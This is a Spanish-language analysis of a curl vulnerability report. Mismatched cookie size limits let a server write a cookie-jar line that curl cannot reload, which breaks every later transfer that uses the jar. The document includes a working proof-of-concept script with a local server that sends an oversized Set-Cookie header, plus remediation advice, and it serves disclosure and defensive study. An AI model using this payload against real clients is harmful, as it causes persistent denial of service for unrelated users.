Resumen
El fallo está en cómo curl gestiona el tamaño de las cookies a lo largo de su ciclo completo: recibirlas, escribirlas en el fichero de cookies (formato Netscape) y volver a cargarlas. Cada fase aplicaba su propio límite y los límites no encajaban entre sí. El resultado: curl podía escribir una línea que él mismo era incapaz de leer después.
Las piezas implicadas, todas en lib/cookie.c:
- Al recibir.
parse_cookie_header()admite cabecerasSet-Cookiede hastaMAX_COOKIE_LINE(5000) bytes. Por otro lado,parse_first_pair()permite que nombre y valor sumen hasta 4096 bytes. Son dos comprobaciones independientes, así que se puede fabricar una cookie que quede justo en el borde de ambas. - Al escribir.
get_netscape_format()serializa dominio, tailmatch, ruta, marca de seguro, caducidad, nombre y valor separados por tabuladores, sin comprobar en ningún momento la longitud total de la línea resultante. - Al recargar. El búfer de cada línea se inicializa con el mismo
MAX_COOKIE_LINE:
// lib/cookie.c:1184-1186
struct dynbuf buf;
Curl_dyn_init(&buf, MAX_COOKIE_LINE);
while(Curl_get_line(&buf, fp)) {
Curl_get_line() llama a dyn_nappend(), que cuenta el NUL final dentro de ese límite. En la práctica solo acepta líneas de hasta 4999 bytes físicos; con cualquier línea de ese tamaño o mayor devuelve CURLE_TOO_LARGE.
El investigador da un ejemplo concreto: en https://a.co/, una cookie n= con un valor de 4095 bytes y ; Path=/ seguido de 895 bytes más de ruta suma exactamente 5000 bytes de cabecera y 4096 de nombre más valor, con una ruta válida de 896 bytes. Pasa las dos comprobaciones de entrada, pero al serializarla ocupa al menos 5013 bytes en disco contando el salto de línea, por encima de lo que acepta la recarga.
Cuando la recarga se encuentra esa línea, la carga de cookies se detiene por completo y Curl_pretransfer() propaga el error antes de que empiece cualquier operación de red.
Hay un agravante: las cookies nuevas reciben fechas de creación crecientes y cookie_output() escribe el fichero de más reciente a más antigua. La cookie maliciosa puede acabar delante de entradas legítimas más viejas, de modo que un solo origen envenena un fichero compartido con destinos que no tienen nada que ver.
La revisión de curl probada fue e5e1c356107ea4f8208757deb69776d94496cfae.
Pasos de reproducción
- Compila curl y deja el binario en
build-poc/src/curl(o indica otra ruta con la variableCURL_BIN). - Levanta un servidor HTTP local que, al pedirle
/set, devuelva una cookie con nombre de 1 byte, valor de 4095 bytes y una ruta larga. En el PoC la cookie es:
cookie = "n=" + "A" * 4095 + "; Path=/" + "B" * 892
El PoC usa 892 bytes de relleno en la ruta (no los 895 del ejemplo del texto); según el comentario del propio script, el valor completo de Set-Cookie mide 4997 bytes, dentro del límite de entrada de curl. El servidor también apunta cada petición recibida en un fichero, para saber si llegó tráfico.
- Haz una primera petición guardando las cookies en un fichero:
"$CURL_BIN" --silent --show-error --cookie-jar "$jar" \
"http://127.0.0.1:$port/set" -o /dev/null
- Mide la línea más larga del fichero de cookies (sin contar comentarios) y comprueba que supera los 5000 bytes:
line=$(awk 'BEGIN { n=0 } !/^#/ && length($0)>n { n=length($0) } END { print n }' "$jar")
- Anota cuántas peticiones ha recibido el servidor y lanza una segunda petición, a otra ruta, cargando ese mismo fichero:
"$CURL_BIN" --silent --show-error --cookie "$jar" \
"http://127.0.0.1:$port/check" -o /dev/null
- Comprueba el resultado: curl termina con código de salida distinto de cero y el número de peticiones recibidas por el servidor no cambia. Es decir, la segunda transferencia falla sin llegar a enviar nada. El script lo resume con:
RESULT: generated cookie jar is unloadable; reload failed before network I/O
El script completo del investigador, que automatiza todos los pasos:
#!/usr/bin/env bash
set -eu
CURL_BIN=${CURL_BIN:-"$(pwd)/build-poc/src/curl"}
test -x "$CURL_BIN" || {
echo "missing executable: $CURL_BIN" >&2
exit 2
}
td=$(mktemp -d)
trap 'kill "$server_pid" 2>/dev/null || true; wait "$server_pid" 2>/dev/null || true; rm -rf "$td"' EXIT INT TERM
cat >"$td/server.py" <<'PY'
#!/usr/bin/env python3
import http.server
import sys
# 4095-byte value + one-byte name = 4096 name/value bytes.
# The total Set-Cookie value is 4997 bytes, within curl's input limit.
cookie = "n=" + "A" * 4095 + "; Path=/" + "B" * 892
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
with open(sys.argv[1], "a") as f:
f.write("request\n")
self.send_response(200)
if self.path == "/set":
self.send_header("Set-Cookie", cookie)
self.send_header("Content-Length", "2")
self.end_headers()
self.wfile.write(b"ok")
def log_message(self, *_):
pass
server = http.server.ThreadingHTTPServer(("127.0.0.1", 0), Handler)
print(server.server_address[1], flush=True)
server.serve_forever()
PY
requests="$td/requests"
python3 "$td/server.py" "$requests" >"$td/port" 2>"$td/server.err" &
server_pid=$!
for _ in $(seq 1 100); do
test -s "$td/port" && break
sleep 0.01
done
port=$(head -n 1 "$td/port")
test -n "$port" || { echo "server did not start" >&2; exit 1; }
jar="$td/cookies.txt"
"$CURL_BIN" --silent --show-error --cookie-jar "$jar" \
"http://127.0.0.1:$port/set" -o /dev/null
line=$(awk 'BEGIN { n=0 } !/^#/ && length($0)>n { n=length($0) } END { print n }' "$jar")
printf 'serialized_cookie_line=%s bytes\n' "$line"
test "$line" -gt 5000 || { echo "jar line was not oversized" >&2; exit 1; }
before=$(wc -l <"$requests")
set +e
error=$("$CURL_BIN" --silent --show-error --cookie "$jar" \
"http://127.0.0.1:$port/check" -o /dev/null 2>&1)
status=$?
set -e
after=$(wc -l <"$requests")
printf 'reload_exit=%s\nrequests_before=%s\nrequests_after=%s\n' \
"$status" "$before" "$after"
printf '%s\n' "$error"
if test "$status" -ne 0 && test "$after" -eq "$before"; then
echo "RESULT: generated cookie jar is unloadable; reload failed before network I/O"
else
echo "RESULT: claim not reproduced"
exit 1
fi
Impacto
Cualquier servidor HTTPS con el que hable un cliente que tenga activada la persistencia de cookies puede dejar en el fichero compartido un registro que lo vuelve imposible de cargar. A partir de ese momento falla toda transferencia que use ese fichero, incluidas las dirigidas a orígenes que nunca tuvieron contacto con el atacante, hasta que alguien localice y repare la línea problemática o elimine el fichero.
Condiciones necesarias, según el reporte:
- Persistencia de cookies activada con
--cookie-jar/CURLOPT_COOKIEJAR. - Un servidor dispuesto a enviar una cabecera
Set-Cookiemuy grande pero aceptada por curl.
Es, por tanto, una denegación de servicio persistente en el cliente. En HackerOne figura con severidad "none" y tiene asignado el CVE-2026-92386.
Remediación
El reporte figura como resuelto, pero no detalla el parche final. La propuesta del investigador fue usar un único contrato de tamaño para aceptar, serializar y recargar cookies: calcular antes de aceptar o escribir una cookie el tamaño del registro físico completo (separadores, salto de línea y NUL final incluidos) y rechazar lo que no se pueda volver a cargar. Como alternativa, sugirió ampliar el límite del cargador hasta el máximo registro válido y hacer que una línea demasiado larga se salte en lugar de abortar toda la carga.
Qué aprender de este caso
- Cuando un dato hace un viaje de ida y vuelta (recibir, guardar en disco, recargar), compara el límite de cada fase: aquí la entrada medía la cabecera, la escritura no medía nada y la lectura medía la línea serializada con tabuladores, salto de línea y NUL.
- Desconfía de los límites que se comprueban por separado (cabecera completa por un lado, nombre más valor por otro): un atacante puede llenar ambos a la vez y producir algo que ninguna fase posterior espera.
- En ficheros compartidos que mezclan datos de varios orígenes, como un cookie jar, una sola línea defectuosa no debería abortar la carga entera; saltarla y seguir evita que un origen tumbe a todos los demás.
- Para buscar fallos parecidos, revisa funciones de serialización que concatenan campos sin calcular la longitud final y búferes de lectura que reservan un byte para el terminador.